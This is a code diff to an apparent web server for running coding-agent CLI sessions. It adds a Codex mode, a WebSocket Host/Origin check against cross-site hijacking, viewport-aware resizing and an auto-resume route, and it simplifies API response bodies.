@@ -43,7 +43,7 @@ export function registerScheduledRoutes(app: FastifyInstance, ctx: SessionPort &
|
||||
}
|
||||
|
||||
await ctx.stopScheduledRun(id);
|
||||
return { success: true };
|
||||
return {};
|
||||
});
|
||||
|
||||
app.get('/api/scheduled/:id', async (req) => {
|
||||
|
||||
@@ -16,7 +16,6 @@ import {
|
||||
createErrorResponse,
|
||||
getErrorMessage,
|
||||
type ApiResponse,
|
||||
type QuickStartResponse,
|
||||
type SessionColor,
|
||||
} from '../../types.js';
|
||||
import { Session } from '../../session.js';
|
||||
@@ -30,6 +29,7 @@ import {
|
||||
ResizeSchema,
|
||||
AutoClearSchema,
|
||||
AutoCompactSchema,
|
||||
AutoResumeSchema,
|
||||
ImageWatcherSchema,
|
||||
FlickerFilterSchema,
|
||||
QuickRunSchema,
|
||||
@@ -211,7 +211,7 @@ export function registerSessionRoutes(
|
||||
ctx.authSessions?.delete(sessionToken);
|
||||
}
|
||||
reply.clearCookie(AUTH_COOKIE_NAME, { path: '/' });
|
||||
return { success: true };
|
||||
return {};
|
||||
});
|
||||
|
||||
// ═══════════════════════════════════════════════════════════════
|
||||
@@ -283,6 +283,17 @@ export function registerSessionRoutes(
|
||||
}
|
||||
}
|
||||
|
||||
// Check Codex availability if requested
|
||||
if (body.mode === 'codex') {
|
||||
const { isCodexAvailable } = await import('../../utils/codex-cli-resolver.js');
|
||||
if (!isCodexAvailable()) {
|
||||
return createErrorResponse(
|
||||
ApiErrorCode.OPERATION_FAILED,
|
||||
'Codex CLI not found. Install with: npm install -g @openai/codex'
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// Pre-validate resumeSessionId: check that the conversation file actually exists
|
||||
// in Claude's projects directory. If not, skip resume to avoid confusing
|
||||
// "No conversation found" errors from Claude CLI.
|
||||
@@ -319,9 +330,11 @@ export function registerSessionRoutes(
|
||||
const model =
|
||||
mode === 'opencode'
|
||||
? body.openCodeConfig?.model
|
||||
: mode !== 'shell'
|
||||
? modelConfig?.defaultModel || undefined
|
||||
: undefined;
|
||||
: mode === 'codex'
|
||||
? body.codexConfig?.model
|
||||
: mode !== 'shell'
|
||||
? modelConfig?.defaultModel || undefined
|
||||
: undefined;
|
||||
const claudeModeConfig = await ctx.getClaudeModeConfig();
|
||||
const session = new Session({
|
||||
workingDir,
|
||||
@@ -334,6 +347,7 @@ export function registerSessionRoutes(
|
||||
claudeMode: claudeModeConfig.claudeMode,
|
||||
allowedTools: claudeModeConfig.allowedTools,
|
||||
openCodeConfig: mode === 'opencode' ? body.openCodeConfig : undefined,
|
||||
codexConfig: mode === 'codex' ? body.codexConfig : undefined,
|
||||
resumeSessionId: validatedResumeId,
|
||||
envOverrides: body.envOverrides,
|
||||
effort: body.effort,
|
||||
@@ -349,7 +363,7 @@ export function registerSessionRoutes(
|
||||
// Avoids serializing 2-3MB of terminal+text buffers per session creation.
|
||||
const lightState = ctx.getSessionStateWithRespawn(session);
|
||||
ctx.broadcast(SseEvent.SessionCreated, lightState);
|
||||
return { success: true, session: lightState };
|
||||
return { session: lightState };
|
||||
});
|
||||
|
||||
// ========== Rename Session ==========
|
||||
@@ -364,7 +378,7 @@ export function registerSessionRoutes(
|
||||
// Also update the mux session name if applicable
|
||||
ctx.mux.updateSessionName(id, session.name);
|
||||
persistAndBroadcastSession(ctx, session);
|
||||
return { success: true, name: session.name };
|
||||
return { name: session.name };
|
||||
});
|
||||
|
||||
// ========== Set Session Color ==========
|
||||
@@ -381,12 +395,12 @@ export function registerSessionRoutes(
|
||||
|
||||
session.setColor(body.color as SessionColor);
|
||||
persistAndBroadcastSession(ctx, session);
|
||||
return { success: true, color: session.color };
|
||||
return { color: session.color };
|
||||
});
|
||||
|
||||
// ========== Delete Session ==========
|
||||
|
||||
app.delete('/api/sessions/:id', async (req): Promise<ApiResponse> => {
|
||||
app.delete('/api/sessions/:id', async (req) => {
|
||||
const { id } = req.params as { id: string };
|
||||
const query = req.query as { killMux?: string };
|
||||
const killMux = query.killMux !== 'false'; // Default to true
|
||||
@@ -396,7 +410,7 @@ export function registerSessionRoutes(
|
||||
}
|
||||
|
||||
await ctx.cleanupSession(id, killMux, 'user_delete');
|
||||
return { success: true };
|
||||
return {};
|
||||
});
|
||||
|
||||
// ========== Delete All Sessions ==========
|
||||
@@ -473,13 +487,13 @@ export function registerSessionRoutes(
|
||||
// Create a fresh tracker if one doesn't exist (shouldn't happen normally)
|
||||
const newTracker = new RunSummaryTracker(id, session.name);
|
||||
ctx.runSummaryTrackers.set(id, newTracker);
|
||||
return { success: true, summary: newTracker.getSummary() };
|
||||
return { summary: newTracker.getSummary() };
|
||||
}
|
||||
|
||||
// Update session name in case it changed
|
||||
tracker.setSessionName(session.name);
|
||||
|
||||
return { success: true, summary: tracker.getSummary() };
|
||||
return { summary: tracker.getSummary() };
|
||||
});
|
||||
|
||||
// ========== Get Active Tools ==========
|
||||
@@ -502,7 +516,7 @@ export function registerSessionRoutes(
|
||||
|
||||
// ========== Run Prompt ==========
|
||||
|
||||
app.post('/api/sessions/:id/run', async (req): Promise<ApiResponse> => {
|
||||
app.post('/api/sessions/:id/run', async (req) => {
|
||||
const { id } = req.params as { id: string };
|
||||
const { prompt } = parseBody(RunPromptSchema, req.body);
|
||||
const session = findSessionOrFail(ctx, id);
|
||||
@@ -517,12 +531,12 @@ export function registerSessionRoutes(
|
||||
});
|
||||
|
||||
ctx.broadcast(SseEvent.SessionRunning, { id, prompt });
|
||||
return { success: true };
|
||||
return {};
|
||||
});
|
||||
|
||||
// ========== Start Interactive Mode ==========
|
||||
|
||||
app.post('/api/sessions/:id/interactive', async (req): Promise<ApiResponse> => {
|
||||
app.post('/api/sessions/:id/interactive', async (req) => {
|
||||
const { id } = req.params as { id: string };
|
||||
const session = findSessionOrFail(ctx, id);
|
||||
|
||||
@@ -554,7 +568,7 @@ export function registerSessionRoutes(
|
||||
ctx.broadcast(SseEvent.SessionInteractive, { id });
|
||||
ctx.broadcast(SseEvent.SessionUpdated, { session: ctx.getSessionStateWithRespawn(session) });
|
||||
|
||||
return { success: true };
|
||||
return {};
|
||||
} catch (err) {
|
||||
return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getErrorMessage(err));
|
||||
}
|
||||
@@ -562,7 +576,7 @@ export function registerSessionRoutes(
|
||||
|
||||
// ========== Start Shell Mode ==========
|
||||
|
||||
app.post('/api/sessions/:id/shell', async (req): Promise<ApiResponse> => {
|
||||
app.post('/api/sessions/:id/shell', async (req) => {
|
||||
const { id } = req.params as { id: string };
|
||||
const session = findSessionOrFail(ctx, id);
|
||||
|
||||
@@ -580,7 +594,7 @@ export function registerSessionRoutes(
|
||||
});
|
||||
ctx.broadcast(SseEvent.SessionInteractive, { id, mode: 'shell' });
|
||||
ctx.broadcast(SseEvent.SessionUpdated, { session: ctx.getSessionStateWithRespawn(session) });
|
||||
return { success: true };
|
||||
return {};
|
||||
} catch (err) {
|
||||
return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getErrorMessage(err));
|
||||
}
|
||||
@@ -592,7 +606,7 @@ export function registerSessionRoutes(
|
||||
|
||||
// ========== Send Input ==========
|
||||
|
||||
app.post('/api/sessions/:id/input', async (req): Promise<ApiResponse> => {
|
||||
app.post('/api/sessions/:id/input', async (req) => {
|
||||
const { id } = req.params as { id: string };
|
||||
const { input, useMux } = parseBody(SessionInputWithLimitSchema, req.body);
|
||||
const session = findSessionOrFail(ctx, id);
|
||||
@@ -624,7 +638,7 @@ export function registerSessionRoutes(
|
||||
} else {
|
||||
session.write(inputStr);
|
||||
}
|
||||
return { success: true };
|
||||
return {};
|
||||
});
|
||||
|
||||
// ========== Send Named Key (tmux send-keys -H) ==========
|
||||
@@ -632,7 +646,7 @@ export function registerSessionRoutes(
|
||||
// Uses send-keys -H (hex) to inject 0x0a (line feed) which Claude Code's
|
||||
// Ink input recognizes as "insert newline" vs 0x0d (carriage return = submit).
|
||||
|
||||
app.post('/api/sessions/:id/send-key', async (req): Promise<ApiResponse> => {
|
||||
app.post('/api/sessions/:id/send-key', async (req) => {
|
||||
const { id } = req.params as { id: string };
|
||||
const body = req.body as Record<string, unknown>;
|
||||
const key = typeof body?.key === 'string' ? body.key : '';
|
||||
@@ -671,18 +685,22 @@ export function registerSessionRoutes(
|
||||
console.error('[Server] send-key failed:', err);
|
||||
return createErrorResponse(ApiErrorCode.INTERNAL_ERROR, 'tmux send-keys failed');
|
||||
}
|
||||
return { success: true };
|
||||
return {};
|
||||
});
|
||||
|
||||
// ========== Resize Terminal ==========
|
||||
|
||||
app.post('/api/sessions/:id/resize', async (req): Promise<ApiResponse> => {
|
||||
app.post('/api/sessions/:id/resize', async (req) => {
|
||||
const { id } = req.params as { id: string };
|
||||
const { cols, rows } = parseBody(ResizeSchema, req.body);
|
||||
const { cols, rows, viewportType } = parseBody(ResizeSchema, req.body);
|
||||
const session = findSessionOrFail(ctx, id);
|
||||
|
||||
session.resize(cols, rows);
|
||||
return { success: true };
|
||||
if (viewportType) {
|
||||
session.resize(cols, rows, { viewportType });
|
||||
} else {
|
||||
session.resize(cols, rows);
|
||||
}
|
||||
return {};
|
||||
});
|
||||
|
||||
// ========== Get Last Response (from transcript JSONL) ==========
|
||||
@@ -889,8 +907,9 @@ export function registerSessionRoutes(
|
||||
const query = req.query as { tail?: string };
|
||||
const session = findSessionOrFail(ctx, id);
|
||||
|
||||
const rawBuffer = session.terminalBuffer;
|
||||
const tailBytes = query.tail ? parseInt(query.tail, 10) : 0;
|
||||
const fullSize = session.terminalBufferLength;
|
||||
const fullSize = rawBuffer.length;
|
||||
let truncated = false;
|
||||
let cleanBuffer: string;
|
||||
|
||||
@@ -898,7 +917,7 @@ export function registerSessionRoutes(
|
||||
// During long thinking phases, Ink rewrites the same rows thousands of times
|
||||
// (500KB+). Without stripping, tail mode returns only spinner frames and
|
||||
// the terminal appears empty when switching tabs.
|
||||
const strippedBuffer = stripInkRedrawBloat(session.terminalBuffer);
|
||||
const strippedBuffer = stripInkRedrawBloat(rawBuffer);
|
||||
|
||||
if (tailBytes > 0 && strippedBuffer.length > tailBytes) {
|
||||
// Fast path: tail from the end, skip expensive banner search on full 2MB buffer.
|
||||
@@ -985,6 +1004,27 @@ export function registerSessionRoutes(
|
||||
};
|
||||
});
|
||||
|
||||
// ========== Auto-Resume (usage-limit pause) ==========
|
||||
|
||||
app.post('/api/sessions/:id/auto-resume', async (req) => {
|
||||
const { id } = req.params as { id: string };
|
||||
const body = parseBody(AutoResumeSchema, req.body, 'Invalid request body');
|
||||
const session = findSessionOrFail(ctx, id);
|
||||
|
||||
session.setAutoResume(body.enabled);
|
||||
persistAndBroadcastSession(ctx, session);
|
||||
|
||||
return {
|
||||
success: true,
|
||||
data: {
|
||||
autoResume: {
|
||||
enabled: session.autoResumeEnabled,
|
||||
resumeAt: session.autoResumeAt ?? undefined,
|
||||
},
|
||||
},
|
||||
};
|
||||
});
|
||||
|
||||
// ========== Image Watcher ==========
|
||||
|
||||
app.post('/api/sessions/:id/image-watcher', async (req) => {
|
||||
@@ -1084,17 +1124,18 @@ export function registerSessionRoutes(
|
||||
const result = await session.runPrompt(prompt);
|
||||
// Clean up session after completion to prevent memory leak
|
||||
await ctx.cleanupSession(session.id, true, 'run_prompt_complete');
|
||||
return { success: true, sessionId: session.id, ...result };
|
||||
return { sessionId: session.id, ...result };
|
||||
} catch (err) {
|
||||
// Clean up session on error too
|
||||
// Clean up session on error too. The session is destroyed here, so its id
|
||||
// is only useful for log correlation — carry it in the error message.
|
||||
await ctx.cleanupSession(session.id, true, 'run_prompt_error');
|
||||
return { success: false, sessionId: session.id, error: getErrorMessage(err) };
|
||||
return createErrorResponse(ApiErrorCode.OPERATION_FAILED, `${getErrorMessage(err)} (session ${session.id})`);
|
||||
}
|
||||
});
|
||||
|
||||
// ========== Quick Start ==========
|
||||
|
||||
app.post('/api/quick-start', async (req): Promise<QuickStartResponse> => {
|
||||
app.post('/api/quick-start', async (req) => {
|
||||
// Prevent unbounded session creation
|
||||
if (ctx.sessions.size >= MAX_CONCURRENT_SESSIONS) {
|
||||
return createErrorResponse(
|
||||
@@ -1107,6 +1148,7 @@ export function registerSessionRoutes(
|
||||
caseName = 'testcase',
|
||||
mode = 'claude',
|
||||
openCodeConfig,
|
||||
codexConfig,
|
||||
envOverrides,
|
||||
effort,
|
||||
} = parseBody(QuickStartSchema, req.body);
|
||||
@@ -1122,6 +1164,17 @@ export function registerSessionRoutes(
|
||||
}
|
||||
}
|
||||
|
||||
// Check Codex availability if requested
|
||||
if (mode === 'codex') {
|
||||
const { isCodexAvailable } = await import('../../utils/codex-cli-resolver.js');
|
||||
if (!isCodexAvailable()) {
|
||||
return createErrorResponse(
|
||||
ApiErrorCode.OPERATION_FAILED,
|
||||
'Codex CLI not found. Install with: npm install -g @openai/codex'
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// Resolve case path: check linked-cases registry first, then fall back to CASES_DIR.
|
||||
// This mirrors the behaviour of resolveCasePath() in case-routes so that linked
|
||||
// external project directories are honoured by quick-start just like regular case routes.
|
||||
@@ -1174,9 +1227,11 @@ export function registerSessionRoutes(
|
||||
const qsModel =
|
||||
mode === 'opencode'
|
||||
? openCodeConfig?.model
|
||||
: mode !== 'shell'
|
||||
? qsModelConfig?.defaultModel || undefined
|
||||
: undefined;
|
||||
: mode === 'codex'
|
||||
? codexConfig?.model
|
||||
: mode !== 'shell'
|
||||
? qsModelConfig?.defaultModel || undefined
|
||||
: undefined;
|
||||
const qsClaudeModeConfig = await ctx.getClaudeModeConfig();
|
||||
const session = new Session({
|
||||
workingDir: casePath,
|
||||
@@ -1188,6 +1243,7 @@ export function registerSessionRoutes(
|
||||
claudeMode: qsClaudeModeConfig.claudeMode,
|
||||
allowedTools: qsClaudeModeConfig.allowedTools,
|
||||
openCodeConfig: mode === 'opencode' ? openCodeConfig : undefined,
|
||||
codexConfig: mode === 'codex' ? codexConfig : undefined,
|
||||
envOverrides,
|
||||
effort,
|
||||
});
|
||||
@@ -1263,7 +1319,6 @@ export function registerSessionRoutes(
|
||||
}
|
||||
|
||||
return {
|
||||
success: true,
|
||||
sessionId: session.id,
|
||||
casePath,
|
||||
caseName,
|
||||
@@ -1725,6 +1780,6 @@ export function registerSessionRoutes(
|
||||
await fh.close();
|
||||
}
|
||||
|
||||
return { success: true, path: filepath, filename };
|
||||
return { path: filepath, filename };
|
||||
});
|
||||
}
|
||||
|
||||
@@ -238,7 +238,7 @@ export function registerSystemRoutes(
|
||||
|
||||
app.post('/api/tunnel/qr/regenerate', async () => {
|
||||
ctx.tunnelManager.regenerateQrToken();
|
||||
return { success: true };
|
||||
return {};
|
||||
});
|
||||
|
||||
// ========== Auth Session Revocation ==========
|
||||
@@ -251,7 +251,7 @@ export function registerSystemRoutes(
|
||||
// Revoke all sessions (nuclear option)
|
||||
ctx.authSessions?.clear();
|
||||
}
|
||||
return { success: true };
|
||||
return {};
|
||||
});
|
||||
|
||||
// ═══════════════════════════════════════════════════════════════
|
||||
@@ -288,7 +288,7 @@ export function registerSystemRoutes(
|
||||
const child = spawn('bash', [scriptPath, url], { detached: true, stdio: 'ignore' });
|
||||
child.on('error', (err) => app.log.error({ err }, 'span-displays launch failed'));
|
||||
child.unref();
|
||||
return { success: true, url };
|
||||
return { url };
|
||||
} catch (err) {
|
||||
return reply.code(500).send(createErrorResponse(ApiErrorCode.INTERNAL_ERROR, getErrorMessage(err)));
|
||||
}
|
||||
@@ -313,7 +313,7 @@ export function registerSystemRoutes(
|
||||
app.post('/api/system/update', async (_req, reply) => {
|
||||
const result = await startUpdate();
|
||||
if (result.ok) {
|
||||
return { success: true, updateId: result.updateId, toTag: result.toTag, toVersion: result.toVersion };
|
||||
return { updateId: result.updateId, toTag: result.toTag, toVersion: result.toVersion };
|
||||
}
|
||||
const map = {
|
||||
'in-flight': { http: 409, api: ApiErrorCode.ALREADY_EXISTS },
|
||||
@@ -341,6 +341,14 @@ export function registerSystemRoutes(
|
||||
};
|
||||
});
|
||||
|
||||
app.get('/api/codex/status', async () => {
|
||||
const { isCodexAvailable, resolveCodexDir } = await import('../../utils/codex-cli-resolver.js');
|
||||
return {
|
||||
available: isCodexAvailable(),
|
||||
path: resolveCodexDir(),
|
||||
};
|
||||
});
|
||||
|
||||
// ═══════════════════════════════════════════════════════════════
|
||||
// State & Lifecycle (cleanup, lifecycle log, stats)
|
||||
// ═══════════════════════════════════════════════════════════════
|
||||
@@ -354,7 +362,7 @@ export function registerSystemRoutes(
|
||||
for (const s of result.cleaned) {
|
||||
lifecycleLog.log({ event: 'stale_cleaned', sessionId: s.id, name: s.name });
|
||||
}
|
||||
return { success: true, cleanedSessions: result.count };
|
||||
return { cleanedSessions: result.count };
|
||||
});
|
||||
|
||||
app.get('/api/session-lifecycle', async (req) => {
|
||||
@@ -371,7 +379,7 @@ export function registerSystemRoutes(
|
||||
since: query.since ? Number(query.since) : undefined,
|
||||
limit: query.limit ? Math.min(Number(query.limit), 1000) : 200,
|
||||
});
|
||||
return { success: true, entries };
|
||||
return { entries };
|
||||
});
|
||||
|
||||
// ========== Stats ==========
|
||||
@@ -391,7 +399,6 @@ export function registerSystemRoutes(
|
||||
app.get('/api/stats', async () => {
|
||||
const activeSessionTokens = collectActiveTokens();
|
||||
return {
|
||||
success: true,
|
||||
stats: ctx.store.getAggregateStats(activeSessionTokens),
|
||||
raw: ctx.store.getGlobalStats(),
|
||||
};
|
||||
@@ -400,7 +407,6 @@ export function registerSystemRoutes(
|
||||
app.get('/api/token-stats', async () => {
|
||||
const activeSessionTokens = collectActiveTokens();
|
||||
return {
|
||||
success: true,
|
||||
daily: ctx.store.getDailyStats(30),
|
||||
totals: ctx.store.getAggregateStats(activeSessionTokens),
|
||||
};
|
||||
@@ -413,13 +419,13 @@ export function registerSystemRoutes(
|
||||
// ========== Config ==========
|
||||
|
||||
app.get('/api/config', async () => {
|
||||
return { success: true, config: ctx.store.getConfig() };
|
||||
return { config: ctx.store.getConfig() };
|
||||
});
|
||||
|
||||
app.put('/api/config', async (req) => {
|
||||
const configData = parseBody(ConfigUpdateSchema, req.body, 'Invalid config');
|
||||
ctx.store.setConfig(configData as Partial<ReturnType<typeof ctx.store.getConfig>>);
|
||||
return { success: true, config: ctx.store.getConfig() };
|
||||
return { config: ctx.store.getConfig() };
|
||||
});
|
||||
|
||||
// ========== Debug/Memory ==========
|
||||
@@ -535,7 +541,7 @@ export function registerSystemRoutes(
|
||||
}
|
||||
}
|
||||
|
||||
return { success: true };
|
||||
return {};
|
||||
} catch (err) {
|
||||
return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getErrorMessage(err));
|
||||
}
|
||||
@@ -568,7 +574,7 @@ export function registerSystemRoutes(
|
||||
}
|
||||
await fs.writeFile(SETTINGS_PATH, JSON.stringify(existingSettings, null, 2));
|
||||
|
||||
return { success: true };
|
||||
return {};
|
||||
} catch (err) {
|
||||
return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getErrorMessage(err));
|
||||
}
|
||||
@@ -580,7 +586,6 @@ export function registerSystemRoutes(
|
||||
const { id } = req.params as { id: string };
|
||||
const session = findSessionOrFail(ctx, id);
|
||||
return {
|
||||
success: true,
|
||||
nice: session.niceConfig,
|
||||
};
|
||||
});
|
||||
@@ -596,7 +601,6 @@ export function registerSystemRoutes(
|
||||
ctx.broadcast(SseEvent.SessionUpdated, { session: ctx.getSessionStateWithRespawn(session) });
|
||||
|
||||
return {
|
||||
success: true,
|
||||
nice: session.niceConfig,
|
||||
note: 'Nice priority only affects newly created mux sessions, not currently running ones.',
|
||||
};
|
||||
@@ -620,7 +624,7 @@ export function registerSystemRoutes(
|
||||
mkdirSync(dir, { recursive: true });
|
||||
}
|
||||
await fs.writeFile(windowStatesPath, JSON.stringify(states, null, 2));
|
||||
return { success: true };
|
||||
return {};
|
||||
} catch (err) {
|
||||
return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getErrorMessage(err));
|
||||
}
|
||||
@@ -640,7 +644,7 @@ export function registerSystemRoutes(
|
||||
mkdirSync(dir, { recursive: true });
|
||||
}
|
||||
await fs.writeFile(parentMapPath, JSON.stringify(parentMap, null, 2));
|
||||
return { success: true };
|
||||
return {};
|
||||
} catch (err) {
|
||||
return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getErrorMessage(err));
|
||||
}
|
||||
@@ -799,7 +803,7 @@ export function registerSystemRoutes(
|
||||
const filepath = join(SCREENSHOTS_DIR, filename);
|
||||
await fs.writeFile(filepath, filePart.data);
|
||||
|
||||
return { success: true, path: filepath, filename };
|
||||
return { path: filepath, filename };
|
||||
});
|
||||
|
||||
app.get('/api/screenshots', async () => {
|
||||
|
||||
@@ -30,6 +30,7 @@ import { FastifyInstance } from 'fastify';
|
||||
import type { WebSocket } from 'ws';
|
||||
import type { SessionPort } from '../ports/session-port.js';
|
||||
import { MAX_INPUT_LENGTH } from '../../config/terminal-limits.js';
|
||||
import { isAllowedRequestHost, isAllowedRequestOrigin, type HostPolicy } from '../network-auth-policy.js';
|
||||
|
||||
/** Micro-batch interval for terminal output (ms). Short enough for low latency,
|
||||
* long enough to group Ink's rapid cursor-up redraw sequences into single frames. */
|
||||
@@ -58,8 +59,19 @@ const MAX_WS_PER_SESSION = 5;
|
||||
/** Track active WS connections per session for connection limiting. */
|
||||
const sessionWsCount = new Map<string, number>();
|
||||
|
||||
export function registerWsRoutes(app: FastifyInstance, ctx: SessionPort): void {
|
||||
export function registerWsRoutes(app: FastifyInstance, ctx: SessionPort, getHostPolicy: () => HostPolicy): void {
|
||||
app.get<{ Params: { id: string } }>('/ws/sessions/:id/terminal', { websocket: true }, (socket: WebSocket, req) => {
|
||||
// Reject cross-site WebSocket hijacking (CSWSH) and DNS-rebinding before doing
|
||||
// anything: the upgrade must come from an allowed Host and (when the browser
|
||||
// sends one — it always does for WS) a same-site Origin. Writing to this socket
|
||||
// injects keystrokes into a --dangerously-skip-permissions agent, so this gate
|
||||
// matters even on the default no-password install. See security review H5.
|
||||
const policy = getHostPolicy();
|
||||
if (!isAllowedRequestHost(req.headers.host, policy) || !isAllowedRequestOrigin(req.headers.origin, policy)) {
|
||||
socket.close(4003, 'Forbidden');
|
||||
return;
|
||||
}
|
||||
|
||||
const { id } = req.params;
|
||||
const session = ctx.sessions.get(id);
|
||||
|
||||
@@ -97,6 +109,13 @@ export function registerWsRoutes(app: FastifyInstance, ctx: SessionPort): void {
|
||||
socket.send(`{"t":"o","d":${JSON.stringify(DEC_2026_START + data + DEC_2026_END)}}`);
|
||||
};
|
||||
|
||||
// Per-connection desktop sizing claim — registered on the first
|
||||
// desktop-typed resize and released on socket close, so Session.resize()
|
||||
// can ignore small-viewport resizes only while a desktop is actually
|
||||
// connected (see Session._desktopSizeClaims).
|
||||
const sizingToken = Symbol('ws-desktop-sizing');
|
||||
let holdsDesktopClaim = false;
|
||||
|
||||
// Attach message handler synchronously BEFORE any async work
|
||||
// (@fastify/websocket requirement to avoid dropped messages).
|
||||
socket.on('message', (raw) => {
|
||||
@@ -104,6 +123,9 @@ export function registerWsRoutes(app: FastifyInstance, ctx: SessionPort): void {
|
||||
const msg = JSON.parse(String(raw));
|
||||
if (msg.t === 'i' && typeof msg.d === 'string') {
|
||||
if (msg.d.length > MAX_INPUT_LENGTH) return;
|
||||
// Typed input from a claim-holding desktop keeps the claim "hot"
|
||||
// and re-asserts the desktop layout after a mobile override.
|
||||
if (holdsDesktopClaim) session.noteDesktopActivity();
|
||||
session.write(msg.d);
|
||||
} else if (
|
||||
msg.t === 'z' &&
|
||||
@@ -114,7 +136,21 @@ export function registerWsRoutes(app: FastifyInstance, ctx: SessionPort): void {
|
||||
msg.r >= 1 &&
|
||||
msg.r <= 200
|
||||
) {
|
||||
session.resize(msg.c, msg.r);
|
||||
const viewportType = msg.v === 'mobile' || msg.v === 'tablet' || msg.v === 'desktop' ? msg.v : undefined;
|
||||
if (viewportType === 'desktop') {
|
||||
session.claimDesktopSizing(sizingToken);
|
||||
holdsDesktopClaim = true;
|
||||
} else if (viewportType) {
|
||||
// The connection's viewport can change (e.g. browser window
|
||||
// narrowed past the tablet breakpoint) — drop a stale claim.
|
||||
session.releaseDesktopSizing(sizingToken);
|
||||
holdsDesktopClaim = false;
|
||||
}
|
||||
if (viewportType) {
|
||||
session.resize(msg.c, msg.r, { viewportType });
|
||||
} else {
|
||||
session.resize(msg.c, msg.r);
|
||||
}
|
||||
}
|
||||
} catch {
|
||||
// Ignore malformed messages
|
||||
@@ -193,6 +229,7 @@ export function registerWsRoutes(app: FastifyInstance, ctx: SessionPort): void {
|
||||
session.off('clearTerminal', onClearTerminal);
|
||||
session.off('needsRefresh', onNeedsRefresh);
|
||||
session.off('exit', onSessionExit);
|
||||
session.releaseDesktopSizing(sizingToken);
|
||||
|
||||
// Decrement per-session connection count
|
||||
const count = sessionWsCount.get(id) ?? 1;
|
||||
|
||||
+44
-6
@@ -8,7 +8,7 @@
|
||||
*/
|
||||
|
||||
import { z } from 'zod';
|
||||
import { SAFE_PATH_PATTERN } from '../utils/index.js';
|
||||
import { SAFE_PATH_PATTERN, isSafePushEndpoint } from '../utils/index.js';
|
||||
|
||||
// ========== Path Validation ==========
|
||||
|
||||
@@ -46,7 +46,7 @@ const safePathSchema = z.string().max(1000).refine(isValidWorkingDir, {
|
||||
// ========== Env Var Allowlist ==========
|
||||
|
||||
/** Allowlisted env var key prefixes */
|
||||
const ALLOWED_ENV_PREFIXES = ['CLAUDE_CODE_', 'OPENCODE_'];
|
||||
const ALLOWED_ENV_PREFIXES = ['CLAUDE_CODE_', 'OPENCODE_', 'CODEX_'];
|
||||
|
||||
/** Env var keys that are always blocked (security-sensitive) */
|
||||
const BLOCKED_ENV_KEYS = new Set([
|
||||
@@ -76,7 +76,7 @@ const safeEnvOverridesSchema = z
|
||||
},
|
||||
{
|
||||
message:
|
||||
'envOverrides contains blocked or disallowed env var keys. Only CLAUDE_CODE_* and OPENCODE_* keys are allowed.',
|
||||
'envOverrides contains blocked or disallowed env var keys. Only CLAUDE_CODE_*, OPENCODE_*, and CODEX_* keys are allowed.',
|
||||
}
|
||||
);
|
||||
|
||||
@@ -128,9 +128,30 @@ const OpenCodeConfigSchema = z
|
||||
})
|
||||
.optional();
|
||||
|
||||
/** Schema for Codex (OpenAI CLI)-specific configuration */
|
||||
const CodexConfigSchema = z
|
||||
.object({
|
||||
model: z
|
||||
.string()
|
||||
.max(100)
|
||||
.regex(/^[a-zA-Z0-9._\-/]+$/)
|
||||
.optional(),
|
||||
resumeSessionId: z
|
||||
.string()
|
||||
.max(100)
|
||||
.regex(/^[a-zA-Z0-9_-]+$/)
|
||||
.optional(),
|
||||
dangerouslyBypassApprovals: z.boolean().optional(),
|
||||
renderMode: z
|
||||
.enum(['scrollback', 'hybrid'])
|
||||
.optional()
|
||||
.transform(() => 'hybrid' as const),
|
||||
})
|
||||
.optional();
|
||||
|
||||
export const CreateSessionSchema = z.object({
|
||||
workingDir: safePathSchema.optional(),
|
||||
mode: z.enum(['claude', 'shell', 'opencode']).optional(),
|
||||
mode: z.enum(['claude', 'shell', 'opencode', 'codex']).optional(),
|
||||
name: z.string().max(100).optional(),
|
||||
envOverrides: safeEnvOverridesSchema,
|
||||
/** Claude CLI effort level (soft default via --settings, switchable in-session via /effort) */
|
||||
@@ -138,6 +159,7 @@ export const CreateSessionSchema = z.object({
|
||||
/** Model override to write to .claude/settings.local.json (e.g., "opus[1m]"). Empty string clears. */
|
||||
modelOverride: z.string().max(50).optional(),
|
||||
openCodeConfig: OpenCodeConfigSchema,
|
||||
codexConfig: CodexConfigSchema,
|
||||
/** Resume a previous Claude conversation by its session ID (used for reboot recovery) */
|
||||
resumeSessionId: z
|
||||
.string()
|
||||
@@ -161,6 +183,7 @@ export const RunPromptSchema = z.object({
|
||||
export const ResizeSchema = z.object({
|
||||
cols: z.number().int().min(1).max(500),
|
||||
rows: z.number().int().min(1).max(200),
|
||||
viewportType: z.enum(['mobile', 'tablet', 'desktop']).optional(),
|
||||
});
|
||||
|
||||
// ========== Case Routes ==========
|
||||
@@ -187,8 +210,9 @@ export const QuickStartSchema = z.object({
|
||||
.string()
|
||||
.regex(/^[a-zA-Z0-9_-]+$/, 'Invalid case name format. Use only letters, numbers, hyphens, underscores.')
|
||||
.optional(),
|
||||
mode: z.enum(['claude', 'shell', 'opencode']).optional(),
|
||||
mode: z.enum(['claude', 'shell', 'opencode', 'codex']).optional(),
|
||||
openCodeConfig: OpenCodeConfigSchema,
|
||||
codexConfig: CodexConfigSchema,
|
||||
envOverrides: safeEnvOverridesSchema,
|
||||
/** Claude CLI effort level (soft default via --settings, switchable in-session via /effort) */
|
||||
effort: effortLevelSchema,
|
||||
@@ -281,6 +305,8 @@ export const SettingsUpdateSchema = z
|
||||
tunnelEnabled: z.boolean().optional(),
|
||||
tabTwoRows: z.boolean().optional(),
|
||||
agentTeamsEnabled: z.boolean().optional(),
|
||||
/** Model for new Claude sessions (e.g. "claude-fable-5[1m]", "opus[1m]"); takes precedence over opusContext1mEnabled */
|
||||
claudeModel: z.string().max(50).optional(),
|
||||
opusContext1mEnabled: z.boolean().optional(),
|
||||
thinkingEffort: z.string().max(20).optional(),
|
||||
// UI visibility
|
||||
@@ -289,6 +315,7 @@ export const SettingsUpdateSchema = z
|
||||
showTokenCount: z.boolean().optional(),
|
||||
showCost: z.boolean().optional(),
|
||||
showLifecycleLog: z.boolean().optional(),
|
||||
showResponseViewer: z.boolean().optional(),
|
||||
showMonitor: z.boolean().optional(),
|
||||
showProjectInsights: z.boolean().optional(),
|
||||
showFileBrowser: z.boolean().optional(),
|
||||
